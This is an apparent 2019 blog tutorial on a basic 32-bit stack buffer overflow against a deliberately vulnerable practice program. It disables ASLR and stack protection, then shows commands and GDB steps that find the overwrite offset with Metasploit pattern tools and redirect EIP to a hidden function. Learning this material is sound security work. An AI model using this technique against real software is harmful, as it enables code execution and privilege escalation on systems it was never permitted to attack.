Thursday, May 09, 2019

Basic Buffer Overflow Exploit Make Easy



According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :



The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "checksec.sh".

wget https://www.trapkit.de/tools/checksec.sh

Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

dos2unix checksec.sh
chmod +x checksec.sh


Run the following command and you will find out that "NX" is enabled.

./checksec.sh --file vuln



To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.

./vuln

What is your name?
samiux
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, you're harmless, aren't you?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln



Feed in the junk characters.

(gdb) r < a.txt



The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers



We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt



The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers



We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions



(gdb) disass hacker



We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "poc.py" :



Exploit it now :

python poc.py | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV, you're harmless, aren't you?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


Bonus

To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt



(gdb) info registers



(gdb) x/50xw $esp -100



The EIP address is 0xffffd32c.


Samiux
OSCE OSCP OSWP
May 9, 2019, Hong Kong, China